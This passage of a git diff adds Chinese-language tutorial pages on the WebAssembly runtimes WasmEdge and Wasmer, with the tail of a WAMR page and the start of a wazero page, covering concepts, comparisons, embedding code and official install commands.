工具链(wasi-sdk、目标三元组)学习成本 +- 极端实时硬中断路径(Wasm 调用延迟仍高于裸 C 中断服务程序) + +## 与邻居项目对照 + +| 维度 | WAMR | Wasmtime | Wasmer | +|------|------|----------|--------| +| 语言 | C | Rust | Rust | +| 体积 | 几十 KB 级 | MB 级 | MB 级 | +| 主战场 | 嵌入式 / IoT | 云 / CLI | 多语言嵌入 | +| AOT | wamrc(LLVM) | `.cwasm` | 自有方案 | +| WASI | 支持(可裁剪) | 完整 | 支持 | + +## 学到什么 + +- WebAssembly 不只是浏览器技术;**可裁剪运行时**让「沙箱字节码」进 MCU 成为现实。 +- 嵌入式 Wasm 的性能路径通常是 **开发用解释器 → 量产用 AOT**,而不是一上来 JIT。 +- **libc 策略**(builtin vs wasi)对 Flash 占用的影响往往大于算法本身。 +- 宿主互调的安全细节(签名、边界检查)和内核驱动一样值得严肃设计。 + +## 延伸阅读 + +- 官方站点:https://bytecodealliance.github.io/wamr.dev/ +- 文档书:https://wamr.gitbook.io/document/ +- 构建 Wasm 应用:`doc/build_wasm_app.md` +- 导出 Native API:`doc/export_native_api.md` +- App Framework:https://github.com/bytecodealliance/wamr-app-framework + +## 关联 + +- [[wasmtime]] —— 服务器/桌面侧 Bytecode Alliance 旗舰运行时 +- [[wasmer]] —— 多语言嵌入的 Wasm 运行时 +- [[zephyr]] —— WAMR 官方支持的 RTOS 之一 +- [[quickjs]] —— 另一种嵌入式脚本方案(JS 而非 Wasm) +- [[wazero]] —— Go 写的零依赖 Wasm 运行时,可对照 API 设计 + +## 维护备注 + +- 合并后运行 `npm run atlas` 刷新反向链接。 +- 版本与体积数据随 release 变化,以仓库 `README` 与 `doc/` 为准。 + +## 反向链接 + + diff --git a/src/content/docs/projects/wasmedge.md b/src/content/docs/projects/wasmedge.md new file mode 100644 index 000000000..5c839169f --- /dev/null +++ b/src/content/docs/projects/wasmedge.md @@ -0,0 +1,312 @@ +--- +title: WasmEdge — 云原生 wasm 运行时 +description: CNCF 沙盒项目,面向边缘与 Kubernetes 的轻量 WebAssembly 运行时,扩展网络、AI 推理与数据库等云原生能力 +来源: 'https://github.com/WasmEdge/WasmEdge' +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:比 Docker 更轻的「密封餐盒」 + +想象你在 Kubernetes 集群里跑微服务。传统做法是:每个服务一个 **Linux 容器**——里面塞完整发行版、glibc、shell、几十 MB 基础镜像,启动时要先「点火整台小厨房」,再端菜。 + +**WebAssembly + WasmEdge** 换了一种打包方式:业务逻辑编译成 **`.wasm` 字节码**,像一份**真空密封餐盒**——只有菜和说明书(导出函数),没有附带整间厨房。WasmEdge 是云原生场景里的**万能加热台**:加热快(冷启动毫秒级)、占地小(镜像可只有几百 KB)、还能选配「插座」(网络 socket)、「调料机」(TensorFlow / GGML 推理)、「外卖柜接口」(MySQL / KV 存储)等扩展。 + +和浏览器里跑网页的 Wasm 不同,WasmEdge 由 **CNCF 沙盒项目**维护,主打 **serverless、边缘节点、服务网格 sidecar、Dapr 微服务**——与 Docker、containerd、Kubernetes 深度集成,让 wasm 容器与 Linux 容器**并排跑在同一套编排里**。 + +## 是什么 + +**WasmEdge** 是用 C++ 编写的高性能 WebAssembly 运行时,由 Second State 发起并捐赠给 CNCF。它不只是「执行 wasm 指令」的虚拟机,还在标准 **WASI** 之上提供一批**云原生扩展**: + +| 能力 | 说明 | +|------|------| +| **CLI 运行时** | `wasmedge` 执行 wasm;`wasmedgec` 做 AOT 预编译 | +| **WASI 实现** | 文件、环境变量、时钟等沙箱系统接口 | +| **网络扩展** | 非阻塞 socket、HTTP 服务(Rust / C SDK) | +| **数据与 AI** | MySQL 驱动、KV、WASI-NN(TensorFlow / GGML / Piper 等) | +| **JavaScript** | 通过 WasmEdge-QuickJS 跑 Node 风格 JS、NPM、React SSR | +| **嵌入 SDK** | C / Go / Rust / Node.js / Python 等宿主绑定 | +| **容器编排** | OCI wasm 镜像、`wasi/wasm` 平台、Docker Desktop + Wasm | + +一句话定位:**Wasmtime 偏规范与通用嵌入;WasmEdge 偏「能直接上 K8s 的云原生 wasm 运行时」。** 对照阅读:[[wasmtime]]、[[wasmer]]、[[wamr]]。 + +## 为什么重要 + +1. **镜像与启动成本**:官方示例中,纯 wasm 的 OCI 镜像可 ~500KB,约为同类 Linux 容器的 1/10 体积、1/10 冷启动时间量级(视模块与 AOT 而定)。 +2. **安全沙箱**:线性内存隔离 + 能力式 WASI(默认无文件/网络,需显式 `--dir` / 授权)。 +3. **与现有云原生栈融合**:通过 **crun** 或 **containerd-shim(runwasi)**,Pod 里可同时调度 `linux/amd64` 与 `wasi/wasm` 工作负载。 +4. **边缘与 AI**:在树莓派、OpenHarmony、seL4 等环境跑推理插件(`wasi_nn-ggml`),适合「靠近数据」的轻量推理。 +5. **多语言一次编译**:Rust、C/C++、Go(TinyGo)、AssemblyScript 等编译到 `wasm32-wasi`,同一产物多平台执行。 + +## 核心概念 + +### 1. 执行流水线 + +```text + 源码 (Rust/C/Go/…) + │ wasm32-wasi 工具链 + ▼ + hello.wasm ──► wasmedge hello.wasm (解释 / 即时编译) + │ + └──► wasmedgec hello.wasm hello_aot.wasm (AOT,生产常用) + │ + ▼ + wasmedge hello_aot.wasm (接近原生速度,冷启动更快) +``` + +- **解释路径**:改完即跑,适合开发调试。 +- **AOT(Ahead-of-Time)**:`wasmedgec` 把 wasm 编译成本地机器码封装在 wasm 容器格式里,适合 Serverless 与边缘量产。 + +### 2. WASI 与云原生扩展 + +**WASI** 定义 guest 如何访问「类操作系统」能力(文件、随机数、环境变量)。WasmEdge 完整实现 WASI,并额外提供: + +- **wasi_socket**:TCP/UDP,写微服务 HTTP server 不必再套一层 Linux 容器。 +- **wasi_nn**:加载 ONNX / GGML 等模型做推理(需安装对应 plugin)。 +- **wasi_logging**:Rust `log` crate 编译进 wasm 后可在宿主侧统一收集。 +- **WasmEdge-bindgen**:简化 Rust ↔ 宿主之间复杂结构体传递。 + +扩展以 **动态插件** 形式安装在 `$HOME/.wasmedge/plugin`(或系统目录),安装时可 `--plugins wasi_nn-ggml,wasi_logging` 一并拉取。 + +### 3. 容器与 Kubernetes 集成 + +两种主流挂载方式: + +| 方式 | 机制 | 谁在用 | +|------|------|--------| +| **crun** | 读 OCI 镜像 annotation,wasm 镜像走 WasmEdge,否则走 runc | CRI-O、Podman、部分 k8s 发行版 | +| **containerd + runwasi** | 按镜像 `platform: wasi/wasm` 选 shim | Docker Desktop + Wasm、containerd | + +Docker 运行 wasm 容器典型参数: + +```bash +docker run --rm \ + --runtime=io.containerd.wasmedge.v1 \ + --platform=wasi/wasm \ + secondstate/rust-example-hello:latest +``` + +镜像里往往只有 `.wasm` + 极少元数据(`FROM scratch` 风格),没有 Ubuntu/Alpine 层。 + +### 4. JavaScript 运行时(WasmEdge-QuickJS) + +**wasmedge_quickjs.wasm** 把 QuickJS 引擎本身编成 wasm,再在里面跑 `server.js`——得到**可容器化的 Node 子集**:ES Module、部分 NPM、Fetch、React SSR 等,体积远小于完整 Node 容器。适合「只要 HTTP + 一点 JS」的边缘函数。 + +### 5. 嵌入宿主应用 + +除 CLI 外,常见模式是**在 Go/Rust/C 进程里嵌 WasmEdge VM**,动态加载用户插件: + +```text + 宿主进程 (API 网关 / 游戏服务器 / IoT 网关) + │ + ├── WasmEdge VM 实例 A ──► plugin_auth.wasm + ├── WasmEdge VM 实例 B ──► plugin_transform.wasm + └── 统一 WASI 权限 / Gas 计量 +``` + +Go 侧常用 `github.com/second-state/WasmEdge-go/wasmedge`;Rust 侧有 `wasmedge-sdk` crate。 + +### 6. 安全与资源控制 + +- **Gas meter**:限制指令执行量,防止 guest 死循环拖垮节点(多租户 FaaS 场景)。 +- **Capability 模型**:文件系统必须 `--dir host_path:guest_path` 映射;网络需启用 socket 扩展并配置策略。 +- **插件供应链**:只从官方安装脚本或发行版包管理器安装已签名插件,避免随意加载未知 `.so`。 + +## 架构一图 + +```text + ┌─────────────────────────────────────┐ + │ Kubernetes / Docker / Dapr / Envoy │ + └──────────────────┬──────────────────┘ + │ + ┌────────────────────────┼────────────────────────┐ + ▼ ▼ ▼ + crun + WasmEdge containerd-shim 嵌入式 SDK + │ │ (Go/Rust/C) + └────────────────────────┼────────────────────────┘ + ▼ + ┌─────────────────┐ + │ WasmEdge VM │ + │ ┌───────────┐ │ + │ │ wasm 模块 │ │ + │ └───────────┘ │ + │ WASI + 插件 │ + │ socket/nn/db │ + └─────────────────┘ +``` + +## 安装 + +```bash +# 默认安装到 $HOME/.wasmedge +curl -sSf https://raw.githubusercontent.com/WasmEdge/WasmEdge/master/utils/install.sh | bash + +# 系统级 + 指定版本 + AI 插件 +curl -sSf https://raw.githubusercontent.com/WasmEdge/WasmEdge/master/utils/install.sh | \ + sudo bash -s -- -p /usr/local -v 0.14.1 --plugins wasi_nn-ggml,wasi_logging + +# 验证 +wasmedge --version +wasmedgec --version +``` + +Fedora / `winget` 等也可通过发行版包管理器安装,见[官方安装文档](https://wasmedge.org/docs/start/install)。 + +## 代码示例 + +### 示例 1:Rust 编译 WASI「Hello World」并用 CLI 运行 + +`Cargo.toml` 片段: + +```toml +[package] +name = "hello_wasmedge" +version = "0.1.0" +edition = "2021" + +[dependencies] + +[profile.release] +lto = true +opt-level = "s" +``` + +`src/main.rs`: + +```rust +fn main() { + println!("Hello from WasmEdge on WASI!"); +} +``` + +构建与运行(需安装 `rustup target add wasm32-wasi`): + +```bash +cargo build --target wasm32-wasi --release +wasmedge target/wasm32-wasi/release/hello_wasmedge.wasm +# 输出: Hello from WasmEdge on WASI! + +# AOT 优化后运行(生产推荐) +wasmedgec target/wasm32-wasi/release/hello_wasmedge.wasm hello_aot.wasm +wasmedge hello_aot.wasm +``` + +要点:`wasm32-wasi` 目标生成**不依赖 libc 宿主**的纯 wasm;`println!` 走 WASI stdout,无需 Linux 容器。 + +### 示例 2:Go 宿主嵌入 Wasm 并调用导出函数 + +以下精简自官方 **WasmEdge-go + bindgen** 流程:Rust 侧编译出 `rust_bindgen_funcs_lib.wasm`,Go 宿主加载并调用 `add` / `say` 等导出。 + +Go 宿主核心逻辑(示意): + +```go +package main + +import ( + "fmt" + "os" + + "github.com/second-state/WasmEdge-go/wasmedge" +) + +func main() { + wasmPath := "rust_bindgen_funcs_lib.wasm" + if len(os.Args) > 1 { + wasmPath = os.Args[1] + } + + // 配置 VM:WASI 等 + conf := wasmedge.NewConfigure() + conf.AddWasmPath(wasmPath) + + vm := wasmedge.NewVMWithConfig(conf) + defer vm.Release() + + // 实例化模块 + vm.LoadWasmFile(wasmPath) + vm.Validate() + vm.Instantiate() + + // 调用导出函数 add(1, 2) + res, err := vm.Execute("add", int32(1), int32(2)) + if err != nil { + panic(err) + } + fmt.Println("add(1,2) =", res[0].(int32)) // 3 + + // bindgen 生成的复杂类型传递见官方 wasmedge-bindgen 示例 +} +``` + +配合 AOT: + +```bash +wasmedgec rust_bindgen_funcs_lib.wasm rust_bindgen_funcs_lib_aot.wasm +go build -o bindgen_demo . +./bindgen_demo rust_bindgen_funcs_lib_aot.wasm +``` + +完整仓库:`https://github.com/second-state/WasmEdge-go-examples`(目录 `wasmedge-bindgen/go_BindgenFuncs`)。**嵌入时 WasmEdge 与语言 SDK 版本必须一致。** + +### 示例 3( bonus):Docker 跑 wasm HTTP 服务 + +```bash +# 拉取官方 Rust HTTP 微服务镜像(约 800KB 量级) +docker run -d -p 8080:8080 \ + --runtime=io.containerd.wasmedge.v1 \ + --platform=wasi/wasm \ + secondstate/rust-example-server:latest + +curl http://127.0.0.1:8080/ +``` + +Compose 里可为 wasm 服务声明 `platform: wasi/wasm`,与 MySQL、Nginx 等 Linux 服务同文件编排——见官方 **WasmEdge / MySQL / Nginx** 示例栈。 + +## 与同类运行时对比 + +| 维度 | WasmEdge | Wasmtime | Wasmer | WAMR | +|------|----------|----------|--------|------| +| 主要语言 | C++ | Rust | Rust | C | +| CNCF | 沙盒项目 | Bytecode Alliance | 商业+开源 | BA 生态 | +| K8s/Docker 一等公民 | 强(OCI wasm) | 通过 runwasi 等 | WebC/Edge | 偏 MCU/RTOS | +| 云原生扩展 | socket、NN、DB 插件 | 规范向、组件模型 | WASIX、Registry | 极简可裁剪 | +| JS 运行时 | QuickJS in wasm | 需外接 | 部分场景 | 一般不涉及 | + +选型建议:**要上 Docker/K8s wasm 容器、边缘 AI、QuickJS 微服务** 优先摸 WasmEdge;**要深度嵌入 Rust 应用、跟进 Component Model** 看 Wasmtime;**要 WASIX 跑 PHP/Python 包** 看 Wasmer;**要 64KB RAM 的 MCU** 看 WAMR。 + +## 典型工作流 + +1. **本地验证**:`wasmedge app.wasm`,挂载目录 `--dir .:.`。 +2. **性能固化**:`wasmedgec` 生成 AOT 产物,纳入 CI artifact。 +3. **打 OCI 镜像**:多阶段 Dockerfile,`FROM scratch` 只 COPY `.wasm` + `ENTRYPOINT ["wasmedge", "..."]`。 +4. **编排**:K8s Deployment 指定 `runtimeClassName` / containerd shim;或 Docker Compose `platform: wasi/wasm`。 +5. **可观测**:启用 `wasi_logging` 插件,把 guest 日志接到宿主日志管线。 + +## 常见坑 + +- **权限**:忘记 `--dir` 导致 WASI 打不开配置文件;生产用最小挂载原则。 +- **版本错位**:Go/Rust SDK 与 `wasmedge` 二进制版本不一致会莫名崩溃——安装脚本加 `-v` 锁版本。 +- **插件未装**:调用 WASI-NN 报找不到符号——重装 `--plugins wasi_nn-ggml` 并检查 GPU/CPU 后端文档。 +- **Docker 未开 containerd**:Desktop 需打开 **containerd image store**,并用 WasmEdge runtime。 +- **把 wasm 当完整 Linux**:无 `fork`、无任意 syscall;复杂遗留应用需评估 WASIX 类扩展或继续用容器。 + +## 学习路径(零基础) + +1. 用安装脚本装好 CLI,跑官方 `rust-example-hello`(本地 wasm 或 Docker 二选一)。 +2. 读 [Quick Start](https://wasmedge.org/docs/start/getting-started/quick_start):独立程序 → HTTP server → JS server 三条线。 +3. 自己用 Rust 或 C 写 `wasm32-wasi` 小程序,练习 `wasmedge` / `wasmedgec`。 +4. 跟一篇 **Docker + Wasm** 文档,把同一程序打进 `wasi/wasm` 镜像。 +5. 若有 Go 技术栈,跑通 **WasmEdge-go-examples** 嵌入调用。 +6. 需要推理时,单独读 **WASI-NN GGML** 插件章节,在边缘设备上跑小模型 demo。 + +## 参考链接 + +- 仓库: +- 文档: +- 特性总览: +- Docker Wasm: +- 安装与插件: +- Go 嵌入示例: diff --git a/src/content/docs/projects/wasmer.md b/src/content/docs/projects/wasmer.md new file mode 100644 index 000000000..a9124adc3 --- /dev/null +++ b/src/content/docs/projects/wasmer.md @@ -0,0 +1,276 @@ +--- +title: Wasmer — 跨平台 WebAssembly 运行时 +description: 多后端 JIT/AOT、WASIX 与 WebC 打包的 wasm 运行时,面向边缘与容器场景 +来源: 'https://github.com/wasmerio/wasmer' +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Wasmer** 是用 Rust 写的跨平台 WebAssembly 运行时:把 `.wasm` 字节码编译或解释成可在 Linux、macOS、Windows、iOS、Android 乃至浏览器里执行的本地程序。它不只是「跑 wasm 的虚拟机」,还围绕 **WASIX**(类 POSIX 系统调用)、**WebC 容器格式** 和 **Wasmer Registry** 搭了一整套「把 wasm 当轻量容器」的工具链。 + +日常类比:如果把 WebAssembly 模块比作一份**密封好的外卖餐盒**(字节码 + 明确接口),那 Wasmer 就是城市里连锁的**万能加热柜**——同一盒餐可以在便利店(Linux 服务器)、办公室(macOS 开发机)、甚至手机(V8 后端)里加热上桌;你还能选「微波炉」(Cranelift,快)、「电磁炉精煮」(LLVM,接近原生速度)或「保温慢炖」(Singlepass,编译极快、适合沙箱)。Wasmtime 像另一家同样靠谱的连锁;Wasmer 更强调**多后端可切换**、**WASIX 跑完整语言运行时(Python/PHP)** 和 **Edge 部署**。 + +典型学习路径:安装 CLI → `wasmer run` 跑 Registry 包 → Rust 嵌入 API → 理解 Engine/Store/Module → 对照 WASIX 与 WebC。 + +## 为什么重要 + +- **跨平台一次编译、到处跑**:同一份 wasm 可在 x86_64、ARM64、RISC-V 等架构上由 Wasmer 加载,适合插件、沙箱、Serverless。 +- **多编译后端可按场景选型**:开发用 Cranelift,追求极致性能用 LLVM,需要 iOS 合规解释执行用 V8/Wasmi。 +- **WASIX 扩展 WASI**:让 CPython、PHP 等依赖 `fork`/`socket`/`pthread` 的程序有机会在 wasm 里跑,而不只是纯计算型 guest。 +- **与 Wasmtime 形成对照**:读 Bytecode Alliance 路线的同时,理解 Wasmer 在容器化、Registry、Edge 上的产品化路径(参见 [[wasmtime]]、[[wazero]])。 + +## 核心概念 + +### 1. 运行时对象模型(与 Wasmtime 类似) + +Wasmer 的嵌入 API 围绕四个核心类型组织: + +``` +Engine(编译器 + 运行时配置,可全局复用) + └── Store(单次执行的隔离状态:内存、表、宿主数据) + ├── Module(已编译/反序列化的 wasm 模块,线程安全可共享) + └── Instance(模块实例 + 与宿主 Import 绑定的函数) +``` + +- **Engine**:选择后端(`Cranelift`、`LLVM`、`Singlepass`、`V8` 等),配置优化级别、CPU 特性、是否启用 metering。 +- **Store**:所有 wasm 对象的生命周期都挂在某个 Store 上;跨线程通常需要每线程一个 Store,Module 用 `Arc` 共享。 +- **Module**:可从 `.wasm` 字节码编译,也可从 **headless 序列化产物**(`.wasmu` 等)快速反序列化,跳过重复编译。 +- **Instance**:把 guest 的 `import` 接到宿主提供的函数(例如 `env::log`、WASI 实现)。 + +### 2. 多后端(Compiler / Runtime) + +Wasmer 的差异化能力之一是**同一二进制可嵌入多种后端**(Wasmer 6.0+),CLI 也可运行时切换: + +| 后端 | 特点 | 典型场景 | +|------|------|----------| +| **Cranelift** | 编译快,性能良好 | 默认开发、通用服务 | +| **LLVM** | 接近原生速度,支持 Wasm 异常 | 生产 PHP/Python、CPU 密集 | +| **Singlepass** | 单次扫描编译,适合沙箱 | 不可信代码、快速启动 | +| **V8** | 适合 iOS/Android,JIT 受限平台 | 移动端嵌入 | +| **WAMR / Wasmi** | 解释器类后端 | 极小体积、禁止 JIT 的环境 | + +CLI 示例:`wasmer run app.wasm --llvm` 或 `--cranelift` 在运行时选编译器。 + +### 3. WASI 与 WASIX + +- **WASI**:WebAssembly 的标准系统接口(文件、时钟、随机数等),Wasmer 完整实现,guest 默认无权限,需显式授权目录。 +- **WASIX**:Wasmer 主导的 POSIX 超集扩展——`fork`/`exec` 风格进程、`socket`、`poll`、线程等,使 **CPython、PHP、Node 风格** 运行时能移植进 wasm。Wasmer 7 起 WASIX 支持**动态链接**,可加载 `.so` 风格的 wasm 侧原生库。 + +### 4. WebC 与 Registry + +- **WebC**:把 wasm 模块、文件系统镜像、元数据打成一个**容器包**,类似 Docker 镜像但面向 wasm。 +- **Wasmer Registry**(`wasmer.io`):发布与拉取包,例如 `wasmer run python/python@3.12`,无需本地安装 Python。 + +### 5. 安全与资源控制 + +- **Metering(Gas)**:可对指令计费,超限中断,适合多租户沙箱。 +- **编译缓存**:已编译模块落盘,二次启动接近 AOT 冷启动。 +- **沙箱默认**:线性内存边界检查;WASI 能力需白名单挂载目录(`--dir`)。 + +## 架构一图 + +```text + 开发者 Wasmer CLI / 嵌入 API + │ │ + ▼ ▼ + .wasm / .wat ──► Engine ──► Compiler backend + │ (Cranelift/LLVM/…) │ + │ ▼ + WebC 包 ──► unpack ──► Module ──► Instance + Store + │ │ + │ ├── WASI / WASIX 宿主实现 + │ └── Import 函数(日志、DB…) + ▼ + Wasmer Edge / 本地进程 / 浏览器(wasmer-js) +``` + +## 性能与规格(量级参考) + +| 场景 | 量级 | 说明 | +|------|------|------| +| Cranelift 小模块冷启动 | 数十 ms | 含编译;启用磁盘缓存后显著下降 | +| LLVM 执行效率 | 接近原生 ~90%+ | 视工作负载;PHP 等受益于 Wasm 异常(6.0+) | +| Registry 拉取 Python 并执行 | 首次较慢 | 之后本地有 WebC/缓存 | +| iOS 上 V8 后端 | 解释/JIT 视平台策略 | 规避 App Store 对 JIT 的限制 | + +具体数字随版本与模块大小变化,以官方 benchmark 与 release note 为准。 + +## 代码示例 + +### 示例 1:Rust 嵌入 — 编译 WAT 并调用导出函数 + +```rust +use wasmer::{imports, Instance, Module, Store, Value}; + +fn main() -> anyhow::Result<()> { + // 默认 Engine 通常启用 Cranelift(feature 可换 llvm、singlepass) + let mut store = Store::default(); + + let wat = r#" + (module + (func $add (export "add") (param i32 i32) (result i32) + local.get 0 + local.get 1 + i32.add)) + "#; + + let module = Module::new(&store, wat)?; + let import_object = imports! {}; + let instance = Instance::new(&mut store, &module, &import_object)?; + + let add = instance.exports.get_function("add")?; + let result = add.call(&mut store, &[Value::I32(40), Value::I32(2)])?; + println!("40 + 2 = {:?}", result[0]); // I32(42) + + Ok(()) +} +``` + +`Cargo.toml` 依赖示例: + +```toml +[dependencies] +wasmer = "6.0" +anyhow = "1" +``` + +需要 LLVM 时:`wasmer = { version = "6.0", features = ["llvm"] }`,并在代码里用 `wasmer::sys::EngineBuilder::new().engine()` 等 API 选后端(具体以当前版本文档为准)。 + +### 示例 2:CLI — Registry、WASI 目录挂载与后端切换 + +```bash +# 安装(版本号以官网为准) +curl https://get.wasmer.io -sSfL | sh + +# 从 Registry 运行 Python,执行一行代码 +wasmer run python/python@3.12 -- -c "print(sum(range(10)))" + +# 运行本地 WASI 模块,挂载当前目录为 guest 的 /sandbox +wasmer run --dir=.:/sandbox mytool.wasm -- --input /sandbox/data.txt + +# 指定 LLVM 后端(需安装带 llvm feature 的 wasmer) +wasmer run --llvm heavy_compute.wasm + +# 查看已安装后端与版本 +wasmer --version +wasmer config +``` + +### 示例 3(可选):宿主向 guest 注入函数 + +```rust +use wasmer::{imports, Function, Instance, Module, Store, Value}; + +fn host_log(args: &[Value]) -> anyhow::Result> { + println!("[guest] {}", args[0].unwrap_i32()); + Ok(vec![]) +} + +fn main() -> anyhow::Result<()> { + let mut store = Store::default(); + let module = Module::from_file(&store, "plugin.wasm")?; + + let import_object = imports! { + "env" => { + "log" => Function::new_typed(&mut store, host_log), + }, + }; + + let instance = Instance::new(&mut store, &module, &import_object)?; + let run = instance.exports.get_function("run")?; + run.call(&mut store, &[])?; + Ok(()) +} +``` + +guest 侧需 `(import "env" "log" (func $log (param i32)))` 与宿主签名一致。 + +## 与 Wasmtime 的快速对照 + +| 维度 | Wasmer | Wasmtime | +|------|--------|----------| +| 主导生态 | Wasmer Inc.、WASIX、Registry | Bytecode Alliance、Component Model | +| 编译后端 | 多后端可同包、运行时切换 | 主要 Cranelift + Winch | +| 容器叙事 | WebC + `wasmer run` 包 | `wasmtime run` + Wizer 等工具链 | +| 移动端 | V8 后端成熟 | 侧重服务器/嵌入 | +| 学习资料 | docs.wasmer.io、Registry 示例 | docs.wasmtime.org、Bytecode Alliance 博客 | + +两者都是优秀的运行时,选型常取决于团队已有工具链、是否需要 WASIX/Registry、以及是否与 Bytecode Alliance 其他 crate 深度集成。 + +## 实践案例 + +### 案例 1:零依赖体验 Python + +```bash +wasmer run python/python@3.12 -- -c "import json; print(json.dumps({'ok': True}))" +``` + +观察首次下载 WebC 与二次运行的启动差异,理解 Registry + 缓存的价值。 + +### 案例 2:用 WASI 跑本地工具 wasm + +用 [wasmedge/wasi-sdk](https://github.com/WebAssembly/wasi-sdk) 或 Rust `wasm32-wasip1` 目标编译 CLI,再用 `wasmer run --dir=...` 挂载输入输出目录,验证沙箱文件访问。 + +### 案例 3:与邻居项目对照 + +- 对照 [[wasmtime]]:同一 WAT 加法模块,比较 API 命名与 `Store` 用法。 +- 对照 [[wazero]](Go):若你在 Go 服务里嵌 wasm,Wasmer 更适合 Rust 栈或 CLI 统一分发。 + +## 踩过的坑 + +1. **Feature 与后端不匹配**:Cargo 未开 `llvm` 却调用 LLVM Engine 会链接失败;CLI 的 `--llvm` 需要对应构建。 +2. **WASI 与 WASIX 混用**:为 WASIX 编译的 PHP/Python 包不能指望在只实现 WASI Preview 1 的极简宿主上跑。 +3. **Import 签名不一致**:宿主 `Function::new_*` 与 guest import 类型不对会在实例化时失败,错误信息需对照 wasm 导出表。 +4. **Store 线程模型**:勿跨线程共享同一 `Store`;多线程用每线程 Store + 共享 `Module`。 +5. **路径与 `--dir` 映射**:WASI 路径是 guest 视角;忘记挂载会导致 `ENOENT`。 +6. **体积与编译时间**:默认带多后端的全功能 `wasmer` 二进制较大;嵌入项目用 `default-features = false` 只开需要后端。 + +## 适用 vs 不适用 + +**适用**: + +- 需要**跨 OS/架构**分发插件或用户脚本(游戏 Mod、低代码沙箱)。 +- 想用 **Registry/WebC** 分发语言运行时,避免传统容器镜像体积。 +- Rust 服务内嵌 wasm,且希望**按负载切换 LLVM/Cranelift**。 +- 学习 **WASIX** 如何把 POSIX 程序搬进 wasm。 + +**不适用**: + +- 已深度绑定 Wasmtime + Component Model 的整条工具链,迁移成本高。 +- 仅需浏览器内 wasm(直接用 Web API 或 wasm-bindgen 即可,不必上完整 Wasmer)。 +- 强依赖内核特性、完整 Linux 容器语义的场景(wasm 沙箱仍有 syscall 子集限制)。 + +## 学到什么 + +- WebAssembly 运行时 = **编译器后端 + VM + 系统接口实现**;换后端往往比换整个框架容易。 +- **能力安全**(capability-based)是默认:能读哪些目录、有哪些环境变量,都要在实例化前声明。 +- 产品化路径(Registry、WebC、Edge)与纯开源运行时同样重要,决定你能否「一条命令跑 Python」。 +- 与 [[wasmtime]] 对照读,能更快理解 wasm 生态的**标准部分**与**扩展部分**。 + +## 延伸阅读 + +- 官方仓库:https://github.com/wasmerio/wasmer +- 文档:https://docs.wasmer.io +- Wasmer 6.0 发布公告(LLVM、多后端、Wasm 异常):https://wasmer.io/posts/announcing-wasmer-6-closer-to-native-speeds +- Wasmer 7.0(Async API、WASIX 动态链接):https://wasmer.io/posts/wasmer-7 + +## 关联 + +- [[wasmtime]] — Bytecode Alliance 旗舰运行时,对照学习 +- [[wazero]] — Go 语言零依赖 wasm 运行时 +- [[wasmtime]] / [[quickjs]] — 不同层次的「嵌入执行引擎」 +- [[tauri]] — 桌面应用;wasm 插件常与本类运行时一起出现 + +## 维护备注 + +- 合并后运行 `npm run atlas` 刷新反向链接。 +- 版本号以安装时 `wasmer --version` 为准;API 在 5.x→6.x 曾有 `wasmer::sys` 命名空间调整,以 CHANGELOG 为准。 + +## 反向链接 + + diff --git a/src/content/docs/projects/wazero.md b/src/content/docs/projects/wazero.md new file mode 100644 index 000000000..ecd14150b --- /dev/null +++ b/src/content/docs/projects/wazero.md @@ -0,0 +1,309 @@ +--- +title: wazero — 纯 Go 实现的 WebAssembly 运行时 +description: 零依赖、无 CGO 的 Wasm 嵌入运行时,支持 Compiler/Interpreter 双引擎与 WASI +来源: 'https://github.com/tetratelabs/wazero' +日期: 2026-06-13 +子分类: wasm +分类: 编译器 +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:Go 程序里的「标准插件插座」 + +想象你写了一个 Go 后端,希望让用户上传**自定义计费规则**或**数据清洗脚本**,但又绝不能让他们直接跑任意原生 `.so`——那等于把整台服务器钥匙交出去。 + +传统路子有三条,都不完美:用 `plugin` 包(只支持 Linux、且和 Go 版本强绑定)、起子进程跑 Python(运维和隔离都重)、自己写 DSL(安全了,但表达能力有限)。 + +**wazero** 提供第四条路:用户把逻辑编译成 **WebAssembly(`.wasm`)**,你的 Go 程序用 wazero 当**标准插座**加载执行。Wasm 自带线性内存沙箱,默认碰不到宿主文件系统;需要读写磁盘时,再通过 **WASI** 或你手写的 **Host 函数** 显式授权——像插座上只开放你接好的那几个孔位。 + +和 [[wasmtime]](Rust + Cranelift)、[[wasmer]](多后端 Rust 运行时)不同,wazero 的定位非常聚焦:**纯 Go、零 CGO、零外部依赖**(除 `golang.org/x/sys`),`GOOS=js` 或 `riscv64` 也能交叉编译进同一个二进制。适合「我的主工程就是 Go,只想嵌一小块可替换逻辑」的场景。 + +## 是什么 + +**wazero** 是 [Tetra Labs](https://tetrate.io/) 维护的 WebAssembly 运行时,完全用 Go 实现,符合 **Wasm Core 1.0 / 2.0** 规范。项目 slogan 是 *the zero dependency WebAssembly runtime for Go developers*。 + +核心事实一览: + +| 维度 | 说明 | +|------|------| +| 语言 / 依赖 | 纯 Go;不依赖 libc、LLVM、WAMR 等原生库 | +| CGO | 不需要;可在 `scratch` 空镜像里跑通测试 | +| 规范 | Core 1.0 + 2.0;通过官方 spec test | +| 引擎 | **Compiler**(AOT 到机器码,默认)与 **Interpreter**(纯解释,全平台) | +| 系统接口 | 内置 `wasi_snapshot_preview1` 导入包 | +| 版本策略 | SemVer;1.0 于 2023-03 发布,生产可用 | +| CLI | `wazero run app.wasm` 可直接执行 guest | + +一句话对照:**Wasmtime 是联盟标准跑车,wazero 是塞进 Go 二进制里的袖珍引擎——不借外援,跟着 `go build` 一起走天下。** + +## 为什么重要 + +1. **Go 生态的一等嵌入方案**:不用 CGO 意味着 CI、交叉编译、静态链接和 `FROM scratch` 容器都与普通 Go 服务相同流程。 +2. **安全沙箱扩展点**:插件市场、策略引擎、用户自定义函数(如 Rego、CEL 之外的 WASM 策略)、Serverless 函数容器都可复用同一套模型。 +3. **与 TinyGo / Rust / AssemblyScript 互通**:guest 可用 TinyGo 编译到 `wasi` target;宿主用 wazero 加载,是边缘与 IoT 常见组合(参见 [[wamr]] 在更极端嵌入式上的对照)。 +4. **双引擎可按平台切换**:服务器用 Compiler 追求 10x 级加速;`riscv64` 或禁止 JIT 的环境退回 Interpreter,仍能通过同一 API 跑通。 + +## 核心概念 + +### 1. 对象模型:Runtime → CompiledModule → Module + +wazero 的 API 刻意贴近 Go 习惯,生命周期清晰: + +```text 